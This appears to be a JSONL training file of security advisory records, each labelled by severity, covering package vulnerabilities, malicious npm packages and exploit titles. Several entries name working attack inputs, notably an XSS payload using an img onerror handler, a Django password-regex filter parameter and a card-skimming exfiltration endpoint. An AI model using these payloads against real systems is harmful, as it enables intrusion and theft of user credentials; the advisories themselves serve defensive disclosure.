-{"id": "bbbedfaddc4ce1ae5090", "text": "Improper query string handling in Django\n\nThe administrative interface in django.contrib.admin in Django before 1.1.3, 1.2.x before 1.2.4, and 1.3.x before 1.3 beta 1 does not properly restrict use of the query string to perform certain object filtering, which allows remote authenticated users to obtain sensitive information via a series of requests containing regular expressions, as demonstrated by a created_by__password__regex parameter.", "text_raw": "Improper query string handling in Django\n\n[Severity: HIGH]\n\nThe administrative interface in django.contrib.admin in Django before 1.1.3, 1.2.x before 1.2.4, and 1.3.x before 1.3 beta 1 does not properly restrict use of the query string to perform certain object filtering, which allows remote authenticated users to obtain sensitive information via a series of requests containing regular expressions, as demonstrated by a created_by__password__regex parameter.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "cbc5bb3194a123501122", "text": "CORS misconfiguration in socket.io\n\nThe package socket.io before 2.4.0 are vulnerable to Insecure Defaults due to CORS Misconfiguration. All domains are whitelisted by default.", "text_raw": "CORS misconfiguration in socket.io\n\n[Severity: MEDIUM]\n\nThe package socket.io before 2.4.0 are vulnerable to Insecure Defaults due to CORS Misconfiguration. All domains are whitelisted by default.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-01-20", "split": "train"}
-{"id": "aa0daeb5b56de0de6cae", "text": "Deleted Admin Can Sign In to Admin Interface\n\n### Impact\nAssuming an administrator once had previous access to the admin interface, they may still be able to sign in to the backend using October CMS v2.0.\n\n### Patches\nThe issue has been patched in v2.1.12\n\n### Workarounds\n\n- Reset the password of the deleted accounts to prevent them from signing in.\n\n- Please contact hello@octobercms.com for code change instructions if you are unable to upgrade.\n\n### References\n\nCredits to:\n• Daniel Bidala\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)", "text_raw": "Deleted Admin Can Sign In to Admin Interface\n\n[Severity: HIGH]\n\n### Impact\nAssuming an administrator once had previous access to the admin interface, they may still be able to sign in to the backend using October CMS v2.0.\n\n### Patches\nThe issue has been patched in v2.1.12\n\n### Workarounds\n\n- Reset the password of the deleted accounts to prevent them from signing in.\n\n- Please contact hello@octobercms.com for code change instructions if you are unable to upgrade.\n\n### References\n\nCredits to:\n• Daniel Bidala\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-06", "split": "train"}
-{"id": "0fbec7227e652d94c05f", "text": "SafeCurl before 0.9.2 has a DNS rebinding vulnerability.", "text_raw": "SafeCurl before 0.9.2 has a DNS rebinding vulnerability.\n\n[Severity: CRITICAL]", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "ffa055c2661d3dd8d706", "text": "Data races in im\n\nAn issue was discovered in the im crate prior to 15.1.0 for Rust. Because TreeFocus does not have bounds on its Send trait or Sync trait, a data race can occur.", "text_raw": "Data races in im\n\n[Severity: MEDIUM]\n\nAn issue was discovered in the im crate prior to 15.1.0 for Rust. Because TreeFocus does not have bounds on its Send trait or Sync trait, a data race can occur.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "99a5cd9833fea3f9a918", "text": "Microsoft Win32k Privilege Escalation Vulnerability\n\nAffected: Microsoft Win32k\n\nMicrosoft Windows Win32k contains an unspecified vulnerability that allows for privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Win32k Privilege Escalation Vulnerability\n\nAffected: Microsoft Win32k\n\nMicrosoft Windows Win32k contains an unspecified vulnerability that allows for privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "a4e7f16c6425e8b0589f", "text": "kimai2 is vulnerable to Improper Access Control", "text_raw": "kimai2 is vulnerable to Improper Access Control\n\n[Severity: MEDIUM]", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-03", "split": "train"}
-{"id": "5ac1d4be8d3de7136db6", "text": "Malicious Package in angular-location-update\n\nVersion 0.0.3 of `angular-location-update` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 0.0.2", "text_raw": "Malicious Package in angular-location-update\n\n[Severity: CRITICAL]\n\nVersion 0.0.3 of `angular-location-update` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 0.0.2", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "4cce763684db165ee4d9", "text": "FLIR Systems FLIR AX8 Thermal Camera 1.32.16 Remote Root Exploit", "text_raw": "FLIR Systems FLIR AX8 Thermal Camera 1.32.16 Remote Root Exploit\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2018-10-14", "split": "train"}
-{"id": "127e47726138a223d2fc", "text": "Malicious Package in nothing-js\n\n`nothing-js` contained a malicious script that attempted to delete all files when `npm test` was run.\n\n## Recommendation\n\nThis module has been unpublished from the npm Registry. If you find this module in your environment remove it.", "text_raw": "Malicious Package in nothing-js\n\n[Severity: CRITICAL]\n\n`nothing-js` contained a malicious script that attempted to delete all files when `npm test` was run.\n\n\n## Recommendation\n\nThis module has been unpublished from the npm Registry. If you find this module in your environment remove it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "b41f915e59ad644876e3", "text": "BGS CMS v2.2.1 Multiple Stored Cross-Site Scripting Vulnerabilities", "text_raw": "BGS CMS v2.2.1 Multiple Stored Cross-Site Scripting Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-04-11", "split": "train"}
-{"id": "a9e8044484568f9b9b7a", "text": "Malicious Package in equest\n\nAll versions of `equest` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in equest\n\n[Severity: CRITICAL]\n\nAll versions of `equest` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "5602b6ed5657b96745be", "text": "Uninitialized memory use in generator\n\nAn issue was discovered in the generator crate before 0.6.18 for Rust. Uninitialized memory is used by Scope, done, and yield_ during API calls.", "text_raw": "Uninitialized memory use in generator\n\n[Severity: HIGH]\n\nAn issue was discovered in the generator crate before 0.6.18 for Rust. Uninitialized memory is used by Scope, done, and yield_ during API calls.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "b0eb4c0376b114839835", "text": "Apache Airflow vulnerable to XSS and local file disclosure\n\nA malicious admin user could edit the state of objects in the Airflow metadata database to execute arbitrary javascript on certain page views. This also presented a Local File Disclosure vulnerability to any file readable by the webserver process.", "text_raw": "Apache Airflow vulnerable to XSS and local file disclosure\n\n[Severity: MEDIUM]\n\nA malicious admin user could edit the state of objects in the Airflow metadata database to execute arbitrary javascript on certain page views. This also presented a Local File Disclosure vulnerability to any file readable by the webserver process.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-11-22", "split": "train"}
-{"id": "4c7ce213fd3f1972f380", "text": "Maliciously Crafted Model Archive Can Lead To Arbitrary File Write\n\n### Impact\nAn Archive Extraction (Zip Slip) vulnerability in the functionality that allows a user to load a trained model archive in Rasa 2.8.9 and older allows an attacker arbitrary write capability within specific directories using a malicious crafted archive file.\n\n### Patches\nThe vulnerability is fixed in Rasa 2.8.10\n\n### Workarounds\nMitigating steps for vulnerable end users are to ensure that they do not upload untrusted model files, and restrict CLI or API endpoint access where a malicious actor could target a deployed Rasa instance.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email [the Rasa Security Team](mailto:security@rasa.com)", "text_raw": "Maliciously Crafted Model Archive Can Lead To Arbitrary File Write\n\n[Severity: HIGH]\n\n### Impact\nAn Archive Extraction (Zip Slip) vulnerability in the functionality that allows a user to load a trained model archive in Rasa 2.8.9 and older allows an attacker arbitrary write capability within specific directories using a malicious crafted archive file.\n\n### Patches\nThe vulnerability is fixed in Rasa 2.8.10\n\n### Workarounds\nMitigating steps for vulnerable end users are to ensure that they do not upload untrusted model files, and restrict CLI or API endpoint access where a malicious actor could target a deployed Rasa instance.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email [the Rasa Security Team](mailto:security@rasa.com)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-22", "split": "train"}
-{"id": "b9ea7fb69d8ad122a6a6", "text": "ApiKey secret could be revelated on network issue\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nApplications that are using node-etsy-client and reporting client error to the end user will offer api key value too\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\ncreharmony/node-etsy-client#18 fixes this issue. This is fixed in [node-etsy-client v0.3.0](https://github.com/creharmony/node-etsy-client/tree/v0.3.0) and later.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nDo not report or log etsy client error if you are using version <= v0.2.0\n\nUpdate your version of node-etsy-client\n\n### References\n_Are there any links users can visit to find out more?_\n\n- https://github.com/creharmony/node-etsy-client/issues/17 : On connect error secret appears in error #17\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [github.com/creharmony/node-etsy-client/issues](https://github.com/creharmony/node-etsy-client/issues/)", "text_raw": "ApiKey secret could be revelated on network issue\n\n[Severity: HIGH]\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nApplications that are using node-etsy-client and reporting client error to the end user will offer api key value too\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\ncreharmony/node-etsy-client#18 fixes this issue. This is fixed in [node-etsy-client v0.3.0](https://github.com/creharmony/node-etsy-client/tree/v0.3.0) and later.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nDo not report or log etsy client error if you are using version <= v0.2.0\n\nUpdate your version of node-etsy-client\n\n### References\n_Are there any links users can visit to find out more?_\n\n- https://github.com/creharmony/node-etsy-client/issues/17 : On connect error secret appears in error #17\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [github.com/creharmony/node-etsy-client/issues](https://github.com/creharmony/node-etsy-client/issues/)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-06", "split": "train"}
-{"id": "760a5f6d7c3ee512c209", "text": "Cross-site scripting vulnerability in TinyMCE\n\n### Impact\nA cross-site scripting (XSS) vulnerability was discovered in the URL sanitization logic of the core parser for `form` elements. The vulnerability allowed arbitrary JavaScript execution when inserting a specially crafted piece of content into the editor using the clipboard or APIs, and then submitting the form. However, as TinyMCE does not allow forms to be submitted while editing, the vulnerability could only be triggered when the content was previewed or rendered outside of the editor. This impacts all users who are using TinyMCE 5.7.0 or lower.\n\n### Patches\nThis vulnerability has been patched in TinyMCE 5.7.1 by improved URL sanitization logic.\n\n### Workarounds\nTo work around this vulnerability, either:\n- Upgrade to TinyMCE 5.7.1 or higher\n- Manually sanitize `form` URL attributes using a [TinyMCE node filter](https://www.tiny.cloud/docs/api/tinymce.html/tinymce.html.domparser/#addnodefilter).\n- Disable `form` elements in your content using the [invalid_elements](https://www.tiny.cloud/docs/configure/content-filtering/#invalid_elements) setting.\n\n#### Example: Sanitizing using a node filter\n```js\neditor.parser.addNodeFilter('form', function(nodes) {\n  nodes.forEach(function(node) {\n    if (node.attributes) {\n      node.attributes.forEach(function(attr) {\n        var name = attr.name;\n        var value = attr.value;\n        // Sanitize the attribute value here or remove it entirely\n        var sanitizedValue = ...;\n        node.attr(name, santizedValue);\n      });\n    }\n  });\n});\n```\n\n#### Example: Using invalid_elements\n```js\ninvalid_elements: 'form'\n```\n\n### Acknowledgements\nTiny Technologies would like to thank Mikhail Khramenkov at Solar Security Research Team for discovering this vulnerability.\n\n### References\nhttps://www.tiny.cloud/docs/release-notes/release-notes571/#securityfixes\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [TinyMCE repo](https://github.com/tinymce/tinymce/issues)\n* Email us at [infosec@tiny.cloud](mailto:infosec@tiny.cloud)", "text_raw": "Cross-site scripting vulnerability in TinyMCE\n\n[Severity: MEDIUM]\n\n### Impact\nA cross-site scripting (XSS) vulnerability was discovered in the URL sanitization logic of the core parser for `form` elements. The vulnerability allowed arbitrary JavaScript execution when inserting a specially crafted piece of content into the editor using the clipboard or APIs, and then submitting the form. However, as TinyMCE does not allow forms to be submitted while editing, the vulnerability could only be triggered when the content was previewed or rendered outside of the editor. This impacts all users who are using TinyMCE 5.7.0 or lower.\n\n### Patches\nThis vulnerability has been patched in TinyMCE 5.7.1 by improved URL sanitization logic.\n\n### Workarounds\nTo work around this vulnerability, either:\n- Upgrade to TinyMCE 5.7.1 or higher\n- Manually sanitize `form` URL attributes using a [TinyMCE node filter](https://www.tiny.cloud/docs/api/tinymce.html/tinymce.html.domparser/#addnodefilter).\n- Disable `form` elements in your content using the [invalid_elements](https://www.tiny.cloud/docs/configure/content-filtering/#invalid_elements) setting.\n\n#### Example: Sanitizing using a node filter\n```js\neditor.parser.addNodeFilter('form', function(nodes) {\n  nodes.forEach(function(node) {\n    if (node.attributes) {\n      node.attributes.forEach(function(attr) {\n        var name = attr.name;\n        var value = attr.value;\n        // Sanitize the attribute value here or remove it entirely\n        var sanitizedValue = ...;\n        node.attr(name, santizedValue);\n      });\n    }\n  });\n});\n```\n\n#### Example: Using invalid_elements\n```js\ninvalid_elements: 'form'\n```\n\n### Acknowledgements\nTiny Technologies would like to thank Mikhail Khramenkov at Solar Security Research Team for discovering this vulnerability.\n\n### References\nhttps://www.tiny.cloud/docs/release-notes/release-notes571/#securityfixes\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [TinyMCE repo](https://github.com/tinymce/tinymce/issues)\n* Email us at [infosec@tiny.cloud](mailto:infosec@tiny.cloud)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-28", "split": "train"}
-{"id": "a2a36eaea5b3f71d7ffe", "text": "Invalid Curve Attack in node-jose\n\nAffected versions of `node-jose` are vulnerable to an invalid curve attack. This allows an attacker to recover the private secret key when JWE with Key Agreement with Elliptic Curve Diffie-Hellman Ephemeral Static (ECDH-ES) is used.\n\n[Proof of Concept](https://gist.github.com/asanso/fa25685348051ef6a28d49aa0f27a4ae)\n\n## Recommendation\n\nUpdate to version 0.9.3 or later.", "text_raw": "Invalid Curve Attack in node-jose\n\n[Severity: MEDIUM]\n\nAffected versions of `node-jose` are vulnerable to an invalid curve attack. This allows an attacker to recover the private secret key when JWE with Key Agreement with Elliptic Curve Diffie-Hellman Ephemeral Static (ECDH-ES) is used.\n\n[Proof of Concept](https://gist.github.com/asanso/fa25685348051ef6a28d49aa0f27a4ae)\n\n\n## Recommendation\n\nUpdate to version 0.9.3 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-20", "split": "train"}
-{"id": "ce1809f79d143e24a17d", "text": "Improper Authorization in Google OAuth Client\n\nPKCE support is not implemented in accordance with the RFC for OAuth 2.0 for Native Apps. Without the use of PKCE, the authorization code returned by an authorization server is not enough to guarantee that the client that issued the initial authorization request is the one that will be authorized. An attacker is able to obtain the authorization code using a malicious app on the client-side and use it to gain authorization to the protected resource. This affects the package com.google.oauth-client:google-oauth-client before 1.31.0.", "text_raw": "Improper Authorization in Google OAuth Client\n\n[Severity: HIGH]\n\nPKCE support is not implemented in accordance with the RFC for OAuth 2.0 for Native Apps. Without the use of PKCE, the authorization code returned by an authorization server is not enough to guarantee that the client that issued the initial authorization request is the one that will be authorized. An attacker is able to obtain the authorization code using a malicious app on the client-side and use it to gain authorization to the protected resource. This affects the package com.google.oauth-client:google-oauth-client before 1.31.0.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-28", "split": "train"}
-{"id": "0744da2996a01ae3d5f3", "text": "Microsoft Office PowerPoint 2007 v12.0.4518 (pp4x322.dll) DLL Hijacking Exploit", "text_raw": "Microsoft Office PowerPoint 2007 v12.0.4518 (pp4x322.dll) DLL Hijacking Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2010-08-26", "split": "train"}
-{"id": "e0ab59d9214ddacbb41a", "text": "Data races in lock_api\n\nAn issue was discovered in the lock_api crate before 0.4.2 for Rust. A data race can occur because of MappedRwLockReadGuard unsoundness.", "text_raw": "Data races in lock_api\n\n[Severity: MEDIUM]\n\nAn issue was discovered in the lock_api crate before 0.4.2 for Rust. A data race can occur because of MappedRwLockReadGuard unsoundness.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "1a561f7f76f1c6322288", "text": "Out-of-bounds Read and Out-of-bounds Write in OpenCV\n\nAn issue was discovered in OpenCV before 3.4.7 and 4.x before 4.1.1 (OpenCV-Python before 3.4.7.28 and 4.x before 4.1.1.26). There is an out of bounds read/write in the function HaarEvaluator::OptFeature::calc in modules/objdetect/src/cascadedetect.hpp, which leads to denial of service.", "text_raw": "Out-of-bounds Read and Out-of-bounds Write in OpenCV\n\n[Severity: HIGH]\n\nAn issue was discovered in OpenCV before 3.4.7 and 4.x before 4.1.1 (OpenCV-Python before 3.4.7.28 and 4.x before 4.1.1.26). There is an out of bounds read/write in the function HaarEvaluator::OptFeature::calc in modules/objdetect/src/cascadedetect.hpp, which leads to denial of service.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "a11fb01c0af292e987be", "text": "Cross-site Scripting in GilaCMS\n\nA cross-site scripting (XSS) vulnerability in /admin/content/post of GilaCMS v1.11.4 allows attackers to execute arbitrary web scripts or HTML via a crafted payload in the Tags field.", "text_raw": "Cross-site Scripting in GilaCMS\n\n[Severity: MEDIUM]\n\nA cross-site scripting (XSS) vulnerability in /admin/content/post of GilaCMS v1.11.4 allows attackers to execute arbitrary web scripts or HTML via a crafted payload in the Tags field.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-30", "split": "train"}
-{"id": "e1e199d2ffa75b524fd0", "text": "Sandbox Bypass Leading to Arbitrary Code Execution in constantinople\n\nVersions of `constantinople` prior to 3.1.1 are vulnerable to a sandbox bypass which can lead to arbitrary code execution.\n\n## Recommendation\n\nUpdate to version 3.1.1 or later.", "text_raw": "Sandbox Bypass Leading to Arbitrary Code Execution in constantinople\n\n[Severity: CRITICAL]\n\nVersions of `constantinople` prior to 3.1.1 are vulnerable to a sandbox bypass which can lead to arbitrary code execution.\n\n\n## Recommendation\n\nUpdate to version 3.1.1 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-06-14", "split": "train"}
-{"id": "1c6a16406c14de85dc84", "text": "Cross-Site Scripting in atlasboard-atlassian-package\n\nAll versions of `atlasboard-atlassian-package` prior to 0.4.2 are vulnerable to Cross-Site Scripting (XSS).  The package fails to properly sanitize user input that is rendered as HTML, which may allow attackers to execute arbitrary JavaScript in a victim's browser. This requires attackers being able to change issue summaries in Jira tickets.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Cross-Site Scripting in atlasboard-atlassian-package\n\n[Severity: HIGH]\n\nAll versions of `atlasboard-atlassian-package` prior to 0.4.2 are vulnerable to Cross-Site Scripting (XSS).  The package fails to properly sanitize user input that is rendered as HTML, which may allow attackers to execute arbitrary JavaScript in a victim's browser. This requires attackers being able to change issue summaries in Jira tickets.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "b765747660bd59c29539", "text": "Native Instruments Kontakt 4 Player NKI File Syntactic Analysis Buffer Overflow PoC", "text_raw": "Native Instruments Kontakt 4 Player NKI File Syntactic Analysis Buffer Overflow PoC\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2010-11-20", "split": "train"}
-{"id": "636d7b8a8cdc5a6f99ca", "text": "Cross-Site Scripting in @progress/kendo-angular-editor\n\nKendo UI for Angular Editor Component (npm package @progress/kendo-angular-editor) before version 1.2.3 is vulnerable to Cross-Site Scripting. When the Editor content contains potentially malicious scripts in element event handlers, they get executed.\nAdding the following content to the Editor value demonstrates the issue: `<img src=\"\" onerror=alert(document.domain)>`.", "text_raw": "Cross-Site Scripting in @progress/kendo-angular-editor\n\n[Severity: HIGH]\n\nKendo UI for Angular Editor Component (npm package @progress/kendo-angular-editor) before version 1.2.3 is vulnerable to Cross-Site Scripting. When the Editor content contains potentially malicious scripts in element event handlers, they get executed.\nAdding the following content to the Editor value demonstrates the issue: `<img src=\"\" onerror=alert(document.domain)>`.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-08-11", "split": "train"}
-{"id": "472f81fa3bd2fe0b5404", "text": "Malicious Package in coinstirng\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in coinstirng\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "28792e45c40d5bf011de", "text": "Stored Cross-Site Scripting in tianma-static\n\nAll versions of `tianma-static` are vulnerable to stored cross-site scripting (XSS). The vulnerability is exploitable if a user can control the name of a file that is served by `tianma-static`\n\n## Recommendation\n\nAs no fix is available for this vulnerability at this time it is our recommendation to use another static file server.", "text_raw": "Stored Cross-Site Scripting in tianma-static\n\n[Severity: MEDIUM]\n\nAll versions of `tianma-static` are vulnerable to stored cross-site scripting (XSS). The vulnerability is exploitable if a user can control the name of a file that is served by `tianma-static`\n\n\n## Recommendation\n\nAs no fix is available for this vulnerability at this time it is our recommendation to use another static file server.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-11-06", "split": "train"}
-{"id": "d0aae6fa7da34e39726d", "text": "Data races in rusqlite\n\nAn issue was discovered in the rusqlite crate before 0.23.0 for Rust. Memory safety can be violated via create_module.", "text_raw": "Data races in rusqlite\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the rusqlite crate before 0.23.0 for Rust. Memory safety can be violated via create_module.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "ec1f9e89ad5345f24ecb", "text": "Devise does not properly perform type conversion when performing database queries\n\nDevise gem 2.2.x before 2.2.3, 2.1.x before 2.1.3, 2.0.x before 2.0.5, and 1.5.x before 1.5.4 for Ruby, when using certain databases, does not properly perform type conversion when performing database queries, which might allow remote attackers to cause incorrect results to be returned and bypass security checks via unknown vectors, as demonstrated by resetting passwords of arbitrary accounts.", "text_raw": "Devise does not properly perform type conversion when performing database queries\n\n[Severity: MEDIUM]\n\nDevise gem 2.2.x before 2.2.3, 2.1.x before 2.1.3, 2.0.x before 2.0.5, and 1.5.x before 1.5.4 for Ruby, when using certain databases, does not properly perform type conversion when performing database queries, which might allow remote attackers to cause incorrect results to be returned and bypass security checks via unknown vectors, as demonstrated by resetting passwords of arbitrary accounts.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "55289c751f553596b4c4", "text": "DOM-based XSS in auth0-lock\n\n### Overview\nVersions before and including `11.25.1` are using `dangerouslySetInnerHTML` to display an informational message when used with a Passwordless or Enterprise connection.\n\n- For Passwordless connection, the value of the input (email or phone number) is displayed back to the user while waiting for verification code input.  \n- For Enterprise connection, the value of the input (IdP Domain) from the Enterprise connection setup screen (Auth0 Dashboard) is displayed back to the user when the `lock` widget opens.\n\nWhen Passwordless or Enterprise connection is used, the application and its users might be exposed to cross-site scripting (XSS) attacks.\n\n### Am I affected?\nYou are affected by this vulnerability if all of the following conditions apply:\n\n- You are using auth0-lock\n- You are using Passwordless or Enterprise connection mode\n\n### How to fix that?\nUpgrade to version `11.26.3`\n\n### Will this update impact my users?\nThe fix provided in patch will not affect your users.\n\n### Credit\nhttps://github.com/mvisat", "text_raw": "DOM-based XSS in auth0-lock\n\n[Severity: LOW]\n\n### Overview\nVersions before and including `11.25.1` are using `dangerouslySetInnerHTML` to display an informational message when used with a Passwordless or Enterprise connection.\n\n- For Passwordless connection, the value of the input (email or phone number) is displayed back to the user while waiting for verification code input.  \n- For Enterprise connection, the value of the input (IdP Domain) from the Enterprise connection setup screen (Auth0 Dashboard) is displayed back to the user when the `lock` widget opens.\n\nWhen Passwordless or Enterprise connection is used, the application and its users might be exposed to cross-site scripting (XSS) attacks.\n\n### Am I affected?\nYou are affected by this vulnerability if all of the following conditions apply:\n\n- You are using auth0-lock\n- You are using Passwordless or Enterprise connection mode\n\n### How to fix that?\nUpgrade to version `11.26.3`\n\n### Will this update impact my users?\nThe fix provided in patch will not affect your users.\n\n### Credit\nhttps://github.com/mvisat", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-08-19", "split": "train"}
-{"id": "bbc734efb0231de9fb45", "text": "Password Hashing: Do not use MD5\n\n### Impact\n\nUser passwords are stored in the database using the rather outdated and cryptographically insecure MD5 hash algorithm. Furthermore, the hashes are salted using the username instead of a random salt, causing hashes for users with the same username and password to collide which is problematic especially for popular users like the default `admin` user.\n\nThis essentially means that for an attacker, it might be feasible to reconstruct a user's password given access to these hashes.\n\nNote that attackers needing access to the hashes means that they must gain access to the database in which these are stored first to be able to start cracking the passwords.\n\n### Patches\n\nThe problem is addressed in Opencast 8.1 which now uses the modern and much stronger bcrypt password hashing algorithm for storing passwords. Note, that old hashes remain MD5 until the password is updated.\n\nFor a list of users whose password hashes are stored using MD5, take a look at the `/user-utils/users/md5.json` REST endpoint.\n\n### Workarounds\n\nThere is no workaround.\n\n### References\n\n- [MD5 (Wikipedia)](https://en.wikipedia.org/wiki/MD5)\n- [bcrypt (Wikipedia)](https://en.wikipedia.org/wiki/Bcrypt)\n- [How weak is MD5 as a password hashing function?](https://security.stackexchange.com/q/52461)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [opencast/opencast](https://github.com/opencast/opencast/issues)\n- For security-relevant information, email us at security@opencast.org", "text_raw": "Password Hashing: Do not use MD5\n\n[Severity: LOW]\n\n### Impact\n\nUser passwords are stored in the database using the rather outdated and cryptographically insecure MD5 hash algorithm. Furthermore, the hashes are salted using the username instead of a random salt, causing hashes for users with the same username and password to collide which is problematic especially for popular users like the default `admin` user.\n\nThis essentially means that for an attacker, it might be feasible to reconstruct a user's password given access to these hashes.\n\nNote that attackers needing access to the hashes means that they must gain access to the database in which these are stored first to be able to start cracking the passwords.\n\n\n### Patches\n\nThe problem is addressed in Opencast 8.1 which now uses the modern and much stronger bcrypt password hashing algorithm for storing passwords. Note, that old hashes remain MD5 until the password is updated.\n\nFor a list of users whose password hashes are stored using MD5, take a look at the `/user-utils/users/md5.json` REST endpoint.\n\n\n### Workarounds\n\nThere is no workaround.\n\n### References\n\n- [MD5 (Wikipedia)](https://en.wikipedia.org/wiki/MD5)\n- [bcrypt (Wikipedia)](https://en.wikipedia.org/wiki/Bcrypt)\n- [How weak is MD5 as a password hashing function?](https://security.stackexchange.com/q/52461)\n\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [opencast/opencast](https://github.com/opencast/opencast/issues)\n- For security-relevant information, email us at security@opencast.org", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-01-30", "split": "train"}
